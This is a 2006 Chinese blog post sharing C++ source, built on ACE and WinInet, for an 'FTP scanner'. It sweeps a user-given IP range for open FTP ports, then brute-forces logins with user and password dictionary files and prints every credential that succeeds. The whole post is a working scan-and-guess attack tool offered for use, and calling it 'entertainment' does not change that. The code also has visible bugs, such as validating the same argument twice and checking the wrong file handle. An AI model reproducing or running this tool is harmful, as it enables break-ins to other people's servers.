Life & Code

代码是咒语,我是魔法师

FTP扫描器(纯娱乐)

#include  " stdafx.h "
#include 
< iostream >
#include 
" ace/INET_Addr.h "
#include 
" ace/SOCK_Stream.h "
#include 
" ace/SOCK_Connector.h "
#include 
" ace/Log_Msg.h "
#include 
" ace/Time_Value.h "
#include 
< vector >
#include 
< fstream >
#include 
< algorithm >
#include 
< string >
#include 
< WinInet.h >

using   namespace  std;

struct  ftp_info {
    
string  ip;
    
string  user_name;
    
string  psw;
    
int     port;
}
;
bool  connect_ftp(DWORD ip, int  port);
int   isValIP( const   char *  ip);
void  usage()
{
    cout 
<< " FTP扫描器V1.0     eyeonme@gmail.com "   << endl;
    cout 
<< " 参数一: 起始IP地址 " << endl;
    cout 
<< " 参数二: 结束IP地址 " << endl;
    cout 
<< " 参数三: 端口.(可选,默认21) " << endl;
    cout 
<< " 请将用户字典user.dic 和密码字典psw.dic 置于程序目录下 " << endl;
}




vector 
< string >  ftp_list;
vector 
< string >  user_list;
vector 
< string >  psw_list;
vector 
< ftp_info >  succeed_list;
int              ftp_port;
void    ftp_guess( const   string   & ftp_ip, int  ftp_port);

int  _tmain( int  argc, _TCHAR *  argv[])
{
    
if (argc < 3   ||   ! isValIP(argv[ 1 ])  ||   ! isValIP(argv[ 1 ]))
    
{
        usage();
        
return   0 ;
    }

    ftp_port 
=  argc  ==   4   ?  atoi(argv[ 3 ]): 21 ;
    ACE::init();

    ifstream user_file(
" .\\user.dic " );
    
if ( ! user_file)
    
{
        cout 
<< " 不能打开 user.dic " << endl;
        
return   0 ;
    }


    ifstream psw_file(
" .\\psw.dic " );
    
if ( ! user_file)
    
{
        cout 
<< " 不能打开 psw.dic " << endl;
        
return   0 ;
    }

    
char  line[ 1024 =   { 0 } ;

    
while (user_file.getline(line, 1024 ))
    
{
        user_list.push_back(line);
    }


    
while (psw_file.getline(line, 1024 ))
    
{
        psw_list.push_back(line);
    }

    psw_file.close();
    user_file.close();
    
    DWORD ip1 
=  inet_addr(argv[ 1 ]);
    DWORD ip2 
=  inet_addr(argv[ 2 ]);

    DWORD   range1  
=  ((BYTE * ) & ip1)[ 3 ];
    DWORD   range2  
=  ((BYTE * ) & ip2)[ 3 ];
    DWORD   connect_ip 
=  ip1;
    
    
    
// 扫描网段
     for (DWORD i = range1; i < range2; i ++  )
    
{
        ((BYTE
* ) & connect_ip)[ 3 =  (BYTE)i;
        connect_ftp(htonl(connect_ip),ftp_port);
    }

    
    
// 密码猜解
     for (vector < string   > ::iterator i = ftp_list.begin(); i  !=  ftp_list.end(); i ++ )
    
{
        cout 
<< " \n尝试 " <<* i;
        ftp_guess(
* i,ftp_port);
    }


    
for (vector < ftp_info > ::iterator i  =  succeed_list.begin(); i  !=  succeed_list.end(); i ++ )
    
{
        cout 
<< " \n*********所有成功********* " << endl;
        cout 
<< " IP: " <<  i -> ip << endl;
        cout 
<< " 端口: " <<  i -> port << endl;
        cout 
<< " 用户名: " <<  i -> user_name << endl;
        cout 
<< " 密码: " <<  i -> psw;
        
        cout 
<< endl;
    }

    ACE::fini();
    system(
" pause " );
    
return   0 ;
}


bool  connect_ftp(DWORD ip, int  port)
{
    ACE_INET_Addr srvr (port, ip);
    ACE_SOCK_Connector connector;
    ACE_SOCK_Stream peer;
    ACE_Time_Value TimeOut;
    TimeOut.
set ( 0 , 5000 );

    
// ACE_DEBUG((LM_INFO,"%s:%d ",srvr.get_host_addr(),port));
     if  ( - 1   ==  connector.connect (peer, srvr, & TimeOut))
    
{
        
// ACE_DEBUG((LM_INFO,"失败%p\n"));
    }

    
else
    
{
        ACE_DEBUG((LM_INFO,
" %s:%d\t开启\n " ,srvr.get_host_addr(),port));
        ftp_list.push_back(srvr.get_host_addr());
    }

    peer.close();
    
return   true ;
}


int  isValIP( const   char *  ip)
{
    
static   char  tab[ 24 ][ 11 =   { { 1 , 2 , 3 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , - 1 } ,
    
{ - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 5 } ,
    
{ 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 5 } ,
    
{ 4 , 4 , 4 , 4 , 4 , 6 , 1 , 1 , 1 , 1 , 5 } ,
    
{ 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 5 } ,
    
{ 7 , 8 , 9 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , - 1 } ,
    
{ 1 , 1 , 1 , 1 , 1 , 1 , - 1 , - 1 , - 1 , - 1 , 5 } ,
    
{ - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 11 } ,
    
{ 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 11 } ,
    
{ 10 , 10 , 10 , 10 , 10 , 12 , 7 , 7 , 7 , 7 , 11 } ,
    
{ 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 11 } ,
    
{ 13 , 14 , 15 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , - 1 } ,
    
{ 7 , 7 , 7 , 7 , 7 , 7 , - 1 , - 1 , - 1 , - 1 , 11 } ,
    
{ - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 17 } ,
    
{ 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 17 } ,
    
{ 16 , 16 , 16 , 16 , 16 , 18 , 13 , 13 , 13 , 13 , 17 } ,
    
{ 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 17 } ,
    
{ 19 , 20 , 21 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , - 1 } ,
    
{ 13 , 13 , 13 , 13 , 13 , 13 , - 1 , - 1 , - 1 , - 1 , 17 } ,
    
{ - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 } ,
    
{ 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , - 1 } ,
    
{ 22 , 22 , 22 , 22 , 22 , 23 , 19 , 19 , 19 , 19 , - 1 } ,
    
{ 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , - 1 } ,
    
{ 19 , 19 , 19 , 19 , 19 , 19 , - 1 , - 1 , - 1 , - 1 , - 1 } }
;
    
if (ip  !=  NULL)
    
{
        
int  stat  =   0 ;
        
for ( const   char *  tmp  =  ip;  * tmp  !=   ' \0 '   &&  stat  >=   0 ++ tmp)
        
{
            
if ( ' 0 '   <=   * tmp  &&   * tmp  <=   ' 9 ' )
                stat 
=  tab[stat][ * tmp  -   ' 0 ' ];
            
else   if ( * tmp  ==   ' . ' )
                stat 
=  tab[stat][ 10 ];
            
else
                stat 
=   - 1 ;
        }

        
if (stat  >=   19   &&  stat  <=   23 )
            
return   1 ;
    }

    
return   0 ;
}


void    ftp_guess( const   string   & ftp_ip, int  port)
{
    HINTERNET  hInternet 
=  InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,  0 );
    
if  (hInternet != NULL) 
    
{
        
for (vector < string   > ::iterator user  =  user_list.begin();
                    user 
!=  user_list.end(); user ++ )
        
{
            
for (vector < string   > ::iterator psw  =  psw_list.begin();
                        psw 
!=  psw_list.end(); psw ++ )
            
{
                HINTERNET  hFtpSession 
=  InternetConnect(hInternet, ftp_ip.c_str(),
                    port, user
-> c_str(), psw -> c_str(), INTERNET_SERVICE_FTP,  0 , NULL);
                cout 
<< " \nUserName: " <<* user << " : " <<* psw;
                
if (hFtpSession)
                
{
                    cout 
<< " 成功 " << endl;
                    InternetCloseHandle(hFtpSession);    
                    ftp_info _info;
                    _info.ip 
=  ftp_ip;
                    _info.port 
=  port;
                    _info.psw  
=   * psw;
                    _info.user_name 
=   * user;
                    succeed_list.push_back(_info);
                    
goto  _exit;
                }

                
else
                
{
                    DWORD dwError 
=  GetLastError();
                    
if ( 12014   !=  dwError)
                    
{
                        InternetCloseHandle(hFtpSession);    
                        
goto  _exit;
                    }

                    
/*
                    DWORD dwErr;
                    char  errInfo[1024]={0};  
                    DWORD len = sizeof(errInfo)/sizeof(errInfo[0]);
                    InternetGetLastResponseInfo(&dwErr, errInfo, &len);
                    cout << errInfo<<endl;
                    
*/

                }

                InternetCloseHandle(hFtpSession);
            }

        }

    }

_exit:
    InternetCloseHandle(hInternet);

}

posted on 2006-12-13 00:19 橙子 阅读(1619) 评论(1)  编辑 收藏 引用 所属分类: ACE

评论

# re: FTP扫描器(纯娱乐) 2011-07-18 12:20 VGA采集卡

试下看,谢谢分享  回复  更多评论   


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理


<2006年12月>
262728293012
3456789
10111213141516
17181920212223
24252627282930
31123456

导航

统计

常用链接

留言簿(10)

随笔分类

随笔档案

相册

收藏夹

搜索

最新评论

阅读排行榜